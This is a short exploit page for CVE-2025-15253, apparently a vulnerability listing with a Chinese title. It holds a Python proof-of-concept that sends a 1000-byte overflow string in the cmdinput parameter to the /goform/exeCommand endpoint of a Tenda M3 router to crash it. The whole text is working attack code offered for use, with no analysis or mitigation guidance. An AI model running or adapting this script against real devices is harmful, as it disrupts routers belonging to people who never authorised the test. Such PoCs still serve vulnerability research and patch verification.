CVE-2025-15253 Tenda M3 /goform/exeCommand 栈缓冲区溢出漏洞

import requests # CVE-2025-15253 PoC - Tenda M3 Stack Buffer Overflow # Target: /goform/exeCommand endpoint # Vulnerability: Stack-based buffer overflow via cmdinput parameter target_ip = "192.168.0.1" # Replace with target device IP target_port = 80 # Generate payload with excessive length to trigger overflow # The exact overflow length may vary, adjust based on testing payload_length = 1000 payload = b"A" * payload_length url = f"http://{target_ip}:{target_port}/goform/exeCommand" # Construct the POST request data = { "cmdinput": payload.decode('utf-8') } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {payload_length} bytes") response = requests.post(url, data=data, timeout=10) print(f"[+] Response Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.content)} bytes") # Check if device crashed or responded unexpectedly if response.status_code != 200: print("[!] Target may have crashed or blocked the request") else: print("[+] Request completed, check device status manually") except requests.exceptions.Timeout: print("[!] Request timed out - target may have crashed") except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be offline or crashed") except Exception as e: print(f"[!] Error: {str(e)}")